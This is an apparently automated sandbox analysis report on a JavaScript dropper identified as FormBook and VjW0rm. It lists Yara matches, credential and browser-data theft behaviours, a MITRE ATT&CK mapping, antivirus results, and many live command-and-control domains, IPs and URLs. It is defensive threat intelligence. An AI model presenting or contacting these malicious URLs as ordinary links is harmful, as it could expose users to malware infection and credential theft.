Source: Yara match	File source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED

Yara detected VjW0rm

Source: Yara match	File source: 00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.961147065.0000019173A2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.964554613.000002CA0370B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.961594354.000001559722F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.512701190.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.961930563.0000019175726000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.990991085.000002CA0506D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.972899634.000002A0FE18A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.964440619.000002A0FC389000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.512633458.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 1408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6416, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED

Yara detected VjW0rm

Source: Yara match	File source: 00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.961147065.0000019173A2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.964554613.000002CA0370B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.961594354.000001559722F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.512701190.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.961930563.0000019175726000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.990991085.000002CA0506D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.972899634.000002A0FE18A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.964440619.000002A0FC389000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.512633458.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 1408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6416, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	21 Registry Run Keys / Startup Folder	512 Process Injection	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	43 Scripting	Boot or Logon Initialization Scripts	21 Registry Run Keys / Startup Folder	43 Scripting	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	3 Software Packing	NTDS	341 Security Software Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	1 Data Encoding	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Masquerading	LSA Secrets	2 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	4 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	114 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	512 Process Injection	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CIQ-PO16266.js	25%	Virustotal		Browse
CIQ-PO16266.js	22%	ReversingLabs	Script-JS.Trojan.Cryxos

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\bin.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bin.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	49%	Metadefender		Browse
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	100%	ReversingLabs	Win32.Trojan.FormBook
C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe	49%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe	100%	ReversingLabs	Win32.Trojan.FormBook
C:\Users\user\AppData\Local\Temp\bin.exe	49%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\bin.exe	100%	ReversingLabs	Win32.Trojan.FormBook

Unpacked PE Files

Source	Detection	Scanner	Label	Download
23.0.oxx7nkdv4g8.exe.8d0000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.2.bin.exe.10000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
23.0.oxx7nkdv4g8.exe.8d0000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
23.2.oxx7nkdv4g8.exe.8d0000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.bin.exe.10000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
23.0.oxx7nkdv4g8.exe.8d0000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
23.0.oxx7nkdv4g8.exe.8d0000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
www.medyumgalip.com	1%	Virustotal	Browse
rasheedabossmoves.com	8%	Virustotal	Browse
dilshadkhan.duia.ro	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.ratebill.com/np8s/	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VredmFyIGN0	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrext10	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre$s	100%	Avira URL Cloud	malware
http://www.refreshertowels.com/np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&4hM4=o4B0f	0%	Avira URL Cloud	safe
http://dilshadkhan.duia.ro:6670/Vre-Agent((	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VrebWcgPSAi	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreMw	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vreadkhan.duum	100%	Avira URL Cloud	malware
http://www.refreshertowels.com/np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&CTr8g=z48HVPSHfp	0%	Avira URL Cloud	safe
http://www.ratebill.com/np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf	100%	Avira URL Cloud	malware
http://www.rasheedabossmoves.com/np8s/?4hM4=o4B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7Qq3EYWraDKw9	100%	Avira URL Cloud	malware
http://www.topings33.com/np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vreox	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreMpN	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VrentWW	100%	Avira URL Cloud	malware
http://www.halecamilla.site/np8s/?zVB=/pe3of3KthlHX+AZdE40oBjh24oMUm2DhTWzf9+6lBsOaTWyqOSb4stDRDmzQmtt1180&4hM4=o4B0f	0%	Avira URL Cloud	safe
https://www.domainnameshop.com/whois?currency=SEK&lang=sv	0%	Avira URL Cloud	safe
http://www.medyumgalip.com/np8s/?zVB=vppS5AedQQffRlEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=o4B0f	0%	Avira URL Cloud	safe
http://dilshadkhan.duia.ro:6670/VreMs&	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre9	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre2	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreMF	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre4	100%	Avira URL Cloud	malware
http://www.pdwfifi.com/np8s/?4hM4=o4B0f&zVB=xL/YlJAUY6uB/cHSlkc/r5VaZJ7uMa0kbAtysG6BLnWT6huomjvuhq3RLtT5uw3RUbD6	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreeX9	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre0	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre1	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrenter2	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/KCQlm	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrets	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreM:	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre)	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VrecomputerNUMBER_OF_H	100%	Avira URL Cloud	malware
http://www.jlbwaterdamagerepairseattle.com/np8s/	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreHGG	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreoX&B	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrenter2Pac	100%	Avira URL Cloud	malware
http://www.brawlhallacodestore.com/np8s/	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre~	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreZXBsYWNl	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-1000	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreKTsNClZO	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrew	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vret	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vreo	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrep	100%	Avira URL Cloud	malware
www.gafcbooster.com/np8s/	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrel	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrei	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreXGxvY2Fs	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vreadkhan.d	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-100	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreITL	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreR	100%	Avira URL Cloud	malware
http://www.pdwfifi.com/np8s/	100%	Avira URL Cloud	malware
http://www.jlbwaterdamagerepairseattle.com/np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreM	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vre-Agent((m	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreG	100%	Avira URL Cloud	malware
http://www.topings33.com/np8s/	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vrenter22	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VrePSAiQ2wi	100%	Avira URL Cloud	malware
https://www.domainnameshop.com/whois	0%	Avira URL Cloud	safe
http://dilshadkhan.duia.ro:6670/Vre0D	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrr	100%	Avira URL Cloud	malware
http://www.muddybootslife.com/np8s/	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrrm	100%	Avira URL Cloud	malware
http://www.brawlhallacodestore.com/np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f	100%	Avira URL Cloud	malware
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	0%	URL Reputation	safe
http://dilshadkhan.duia.ro:6670/Vrer:	100%	Avira URL Cloud	malware
http://www.ratebill.com	0%	Avira URL Cloud	safe
http://dilshadkhan.duia.ro:6670/Vreadkhan.duu	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/Vreoft.XMLHTTPll	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/VreG1C	100%	Avira URL Cloud	malware
http://dilshadkhan.duia.ro:6670/	100%	Avira URL Cloud	malware
https://www.domainnameshop.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.ratebill.com	137.220.133.198	true	true		unknown
www.medyumgalip.com	172.67.140.71	true	true	1%, Virustotal, Browse	unknown
rasheedabossmoves.com	160.153.136.3	true	true	8%, Virustotal, Browse	unknown
dilshadkhan.duia.ro	91.193.75.133	true	true	3%, Virustotal, Browse	unknown
sekolahkejepang.com	103.247.11.212	true	true		unknown
www.refreshertowels.com	23.231.99.207	true	true		unknown
www.topings33.com	162.0.230.89	true	true		unknown
www.localbloom.online	185.134.245.113	true	true		unknown
www.pdwfifi.com	185.53.179.171	true	true		unknown
shop.freewebstore.org	52.17.85.125	true	false		high
www.jlbwaterdamagerepairseattle.com	170.39.76.27	true	true		unknown
www.68chengxinle.com	45.39.111.146	true	true		unknown
www.84866.xyz	35.241.47.216	true	false		unknown
www.o7oiwlp.xyz	134.122.201.217	true	true		unknown
www.tentanguang.online	185.27.134.149	true	false		unknown
muddybootslife.com	66.235.200.145	true	true		unknown
halecamilla.site	207.174.214.35	true	true		unknown
www.wps-mtb.com	unknown	unknown	true		unknown
www.muddybootslife.com	unknown	unknown	true		unknown
www.spxtokensales.com	unknown	unknown	true		unknown
www.rasheedabossmoves.com	unknown	unknown	true		unknown
www.sekolahkejepang.com	unknown	unknown	true		unknown
www.halecamilla.site	unknown	unknown	true		unknown
www.brawlhallacodestore.com	unknown	unknown	true		unknown
www.hengyuejiguang.com	unknown	unknown	true		unknown
www.mysbaally.com	unknown	unknown	true		unknown
www.gafcbooster.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.ratebill.com/np8s/	true	Avira URL Cloud: malware	unknown
http://www.refreshertowels.com/np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&4hM4=o4B0f	true	Avira URL Cloud: safe	unknown
http://www.refreshertowels.com/np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&CTr8g=z48HVPSHfp	true	Avira URL Cloud: safe	unknown
http://www.ratebill.com/np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf	true	Avira URL Cloud: malware	unknown
http://www.rasheedabossmoves.com/np8s/?4hM4=o4B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7Qq3EYWraDKw9	true	Avira URL Cloud: malware	unknown
http://www.topings33.com/np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f	true	Avira URL Cloud: malware	unknown
http://www.halecamilla.site/np8s/?zVB=/pe3of3KthlHX+AZdE40oBjh24oMUm2DhTWzf9+6lBsOaTWyqOSb4stDRDmzQmtt1180&4hM4=o4B0f	true	Avira URL Cloud: safe	unknown
http://www.medyumgalip.com/np8s/?zVB=vppS5AedQQffRlEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=o4B0f	true	Avira URL Cloud: safe	unknown
http://www.pdwfifi.com/np8s/?4hM4=o4B0f&zVB=xL/YlJAUY6uB/cHSlkc/r5VaZJ7uMa0kbAtysG6BLnWT6huomjvuhq3RLtT5uw3RUbD6	true	Avira URL Cloud: malware	unknown
http://www.jlbwaterdamagerepairseattle.com/np8s/	true	Avira URL Cloud: malware	unknown
http://www.brawlhallacodestore.com/np8s/	true	Avira URL Cloud: malware	unknown
www.gafcbooster.com/np8s/	true	Avira URL Cloud: malware	low
http://www.pdwfifi.com/np8s/	true	Avira URL Cloud: malware	unknown
http://www.jlbwaterdamagerepairseattle.com/np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl	true	Avira URL Cloud: malware	unknown
http://www.topings33.com/np8s/	true	Avira URL Cloud: malware	unknown
http://www.muddybootslife.com/np8s/	true	Avira URL Cloud: malware	unknown
http://www.brawlhallacodestore.com/np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://dilshadkhan.duia.ro:6670/VredmFyIGN0	wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrext10	wscript.exe, 00000007.00000002.973441987.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre$s	wscript.exe, 00000009.00000002.973024572.000002A0FE375000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779	explorer.exe, 00000004.00000000.511552982.000000000813C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vre-Agent((	wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
